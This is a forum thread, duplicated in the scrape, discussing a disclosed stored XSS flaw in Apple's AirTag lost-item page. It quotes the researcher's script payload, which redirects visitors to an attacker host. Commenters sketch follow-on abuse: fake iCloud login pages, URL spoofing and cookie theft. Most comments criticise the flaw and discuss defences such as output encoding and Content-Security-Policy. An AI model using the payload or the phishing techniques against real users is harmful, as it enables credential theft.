8 ms·

More info: https://medium.com/@bobbyrsec/zero-day-hijacking-icloud-credentials-with-apple-airtags-stored-xss-6997da43a216 https://medium.com/@bobbyrsec/zero-day

by twhb 5y ago

More info: https://medium.com/@bobbyrsec/zero-day-hijacking-icloud-credentials-with-apple-airtags-stored-xss-6997da43a216 https://medium.com/@bobbyrsec/zero-day-hijacking-icloud-cred... After reading OP, I was under the impression this is something silly, like being able to enter “Please visit badsite.xyz” in the message you leave. The above makes clear that it’s a real XSS, the AirTag owner can run scripts on found.apple.com.

planb 5y ago
From that page: An attacker intercepts this request, and injects this malicious payload into the phone number field: <script>window.location=’https://10.0.1.137:8000/indexer.html’;var a = ‘’;</script> Really, what year is this, 2005? How is embedding unquoted user input into a web page still a thing? Most modern frameworks make it really hard to do this even on purpose...
- rjmunro 5y ago
  This attack is far more serious than that example reveals. Instead of directing user's elsewhere, you could replace the contents of the page to look like an iCloud login form while remaining inside the apple.com domain. Depending on how the rest of Apple.com's site is configured, you could steal cookies and allow yourself to login without even needing a fake login page. You might be able to directly manipulate and make changes to the user's account.
  - planb 5y ago
    I wouldn’t even be surprised if there are cookies for *.apple.com that you can read this way…
  - ronsor 5y ago
    > replace the contents of the page to look like an iCloud login form while remaining inside the apple.com domain Indeed, and with the history.pushState() API, you can even change the URL to be more realistic.
    - benkaiser 5y ago
      You would still be scoped to the same domain (found.apple.com).
      - iudqnolq 5y ago
        Would you really be suspicious of found.apple.com/login? Many companies have login flows through subdomains. Google redirects their main login flows through YouTube for some reason.
        pests 5y ago
        My guess? The Google login system got complicated when they tried to merge your YouTube and Google account for G+ back in the day. YouTube probably has some say in the authorization or permissions for YT original accounts.
  - bayindirh 5y ago
    > Depending on how the rest of Apple.com's site is configured, you could steal cookies and allow yourself to login without even needing a fake login page. You might be able to directly manipulate and make changes to the user's account. IIRC every process inside the iOS has its own cookie jar and browser container, so application X cannot read iOS Safari's or application Y's cookie jar or any cache in that regard. So, every application's web view is so-called alone on the OS.
    - avianlyric 5y ago
      That’s irrelevant. The AirTag opens a link in Safari, and allows you to run efficiently arbitrary JavaScript in the page that’s opened (iCloud). Containers and cookie jars don’t help you if the malicious code is running inside the container your sensitive data lives in. In this specific example, if the iCloud cookies are marked as JS visible, and there no content security policy preventing inline JS, then the JS injected could grab the iCloud cookie and exfiltrate it to an attacker domain.
- chrisjc 5y ago
  Is putting scripts in a phone number field (or any input field) a well known way to hijack requests? I mean when someone is trying to compromise a site, is this one of the first things they try? Surely (obviously not) at this point in time there has to be some out-of-the-box browser-engine (webkit/blink/gecko) input sanitation for widgets like "input", "textarea", etc? I can only imagine this to be the case, so did an apple employee go out of their way to disable this feature? Or is this simply a case of the rookie developer using variable substitutions in a SQL string instead of a prepared statement and bindings? (SQL injection analogy) ---- As @rjmunro mentions nextdoor, if this vulnerability exists in this airtag application, might it actually be wide-spread across the entire iOS and mac OS code-base? Perhaps that's why Rauch heard little back from apple?
  - londons_explore 5y ago
    > might it actually be wide-spread across the entire iOS and mac OS code-base? I suspect this is likely. It's generally accepted that it isn't possible to sanitize arbitrary user input before saving it into the database. There will always be someone called "<script>". Instead you must format the data correctly when displaying it to the user. That means every place you get data from a database and process or display it, you should be using framework libraries to make sure no injection attacks can happen.
    - gowld 5y ago
      Framework libraries or languages that have types for separating taintable data from executable code.
      - xenomachina 5y ago
        It isn't really so much about data being "taintable", but rather about the fact that not all strings are really the same "type". In this case, the field was probably meant to be "plain text", but it was inserted into HTML without any conversion. Even data that doesn't come from a user (ie: that is not "tainted") needs to be converted to the correct type.
  - 5y ago
- fortran77 5y ago
  This is like bugs we used to see on "MySpace". Is Apple unable to hire good people anymore given their current corporate culture?
  - shadowfiend 5y ago
    Which culture is that?
  - aaaaaaaaaaab 5y ago
    Apple hires top hardware engineers, good software engineers, and ok web engineers.
    - capableweb 5y ago
      > ok web engineers How are engineers who introduce XSS issues on production systems "ok" in 2021? Makes me doubt the rest of your statement too. But mainly because I'm actually a Apple user myself so I know for a fact that neither the software nor the hardware people to be "top".
      - frenchy 5y ago
        I can only assume they mean "ok" in the sense of "the large fraction of less-sophisticated engineers who only want to think about the happy paths in their code." Github's co-pilot is a poor code generator, but it's a fair example of how bad a lot of public code is. I'm not sure private code tends to be much better in many orgs.
    - Abishek_Muthian 5y ago
      Apple outsources web development to low cost centers as well.
  - consumer451 5y ago
    Honest question: are these the results of the seemingly industry-wide push to axe QA departments?
- drdaeman 5y ago
  And even if unquoted input got through, what year is this, 2012? Content-Security-Policy is a thing for almost a decade.

by twhb 5y ago

planb 5y ago

From that page: An attacker intercepts this request, and injects this malicious payload into the phone number field: <script>window.location=’https://10.0.1.137:8000/indexer.html’;var a = ‘’;</script> Really, what year is this, 2005? How is embedding unquoted user input into a web page still a thing? Most modern frameworks make it really hard to do this even on purpose...

rjmunro 5y ago
This attack is far more serious than that example reveals. Instead of directing user's elsewhere, you could replace the contents of the page to look like an iCloud login form while remaining inside the apple.com domain. Depending on how the rest of Apple.com's site is configured, you could steal cookies and allow yourself to login without even needing a fake login page. You might be able to directly manipulate and make changes to the user's account.
- planb 5y ago
  I wouldn’t even be surprised if there are cookies for *.apple.com that you can read this way…
- ronsor 5y ago
  > replace the contents of the page to look like an iCloud login form while remaining inside the apple.com domain Indeed, and with the history.pushState() API, you can even change the URL to be more realistic.
  - benkaiser 5y ago
    You would still be scoped to the same domain (found.apple.com).
    - iudqnolq 5y ago
      Would you really be suspicious of found.apple.com/login? Many companies have login flows through subdomains. Google redirects their main login flows through YouTube for some reason.
      - pests 5y ago
        My guess? The Google login system got complicated when they tried to merge your YouTube and Google account for G+ back in the day. YouTube probably has some say in the authorization or permissions for YT original accounts.
- bayindirh 5y ago
  > Depending on how the rest of Apple.com's site is configured, you could steal cookies and allow yourself to login without even needing a fake login page. You might be able to directly manipulate and make changes to the user's account. IIRC every process inside the iOS has its own cookie jar and browser container, so application X cannot read iOS Safari's or application Y's cookie jar or any cache in that regard. So, every application's web view is so-called alone on the OS.
  - avianlyric 5y ago
    That’s irrelevant. The AirTag opens a link in Safari, and allows you to run efficiently arbitrary JavaScript in the page that’s opened (iCloud). Containers and cookie jars don’t help you if the malicious code is running inside the container your sensitive data lives in. In this specific example, if the iCloud cookies are marked as JS visible, and there no content security policy preventing inline JS, then the JS injected could grab the iCloud cookie and exfiltrate it to an attacker domain.
chrisjc 5y ago
Is putting scripts in a phone number field (or any input field) a well known way to hijack requests? I mean when someone is trying to compromise a site, is this one of the first things they try? Surely (obviously not) at this point in time there has to be some out-of-the-box browser-engine (webkit/blink/gecko) input sanitation for widgets like "input", "textarea", etc? I can only imagine this to be the case, so did an apple employee go out of their way to disable this feature? Or is this simply a case of the rookie developer using variable substitutions in a SQL string instead of a prepared statement and bindings? (SQL injection analogy) ---- As @rjmunro mentions nextdoor, if this vulnerability exists in this airtag application, might it actually be wide-spread across the entire iOS and mac OS code-base? Perhaps that's why Rauch heard little back from apple?
- londons_explore 5y ago
  > might it actually be wide-spread across the entire iOS and mac OS code-base? I suspect this is likely. It's generally accepted that it isn't possible to sanitize arbitrary user input before saving it into the database. There will always be someone called "<script>". Instead you must format the data correctly when displaying it to the user. That means every place you get data from a database and process or display it, you should be using framework libraries to make sure no injection attacks can happen.
  - gowld 5y ago
    Framework libraries or languages that have types for separating taintable data from executable code.
    - xenomachina 5y ago
      It isn't really so much about data being "taintable", but rather about the fact that not all strings are really the same "type". In this case, the field was probably meant to be "plain text", but it was inserted into HTML without any conversion. Even data that doesn't come from a user (ie: that is not "tainted") needs to be converted to the correct type.
- 5y ago
fortran77 5y ago
This is like bugs we used to see on "MySpace". Is Apple unable to hire good people anymore given their current corporate culture?
- shadowfiend 5y ago
  Which culture is that?
- aaaaaaaaaaab 5y ago
  Apple hires top hardware engineers, good software engineers, and ok web engineers.
  - capableweb 5y ago
    > ok web engineers How are engineers who introduce XSS issues on production systems "ok" in 2021? Makes me doubt the rest of your statement too. But mainly because I'm actually a Apple user myself so I know for a fact that neither the software nor the hardware people to be "top".
    - frenchy 5y ago
      I can only assume they mean "ok" in the sense of "the large fraction of less-sophisticated engineers who only want to think about the happy paths in their code." Github's co-pilot is a poor code generator, but it's a fair example of how bad a lot of public code is. I'm not sure private code tends to be much better in many orgs.
  - Abishek_Muthian 5y ago
    Apple outsources web development to low cost centers as well.
- consumer451 5y ago
  Honest question: are these the results of the seemingly industry-wide push to axe QA departments?
drdaeman 5y ago
And even if unquoted input got through, what year is this, 2012? Content-Security-Policy is a thing for almost a decade.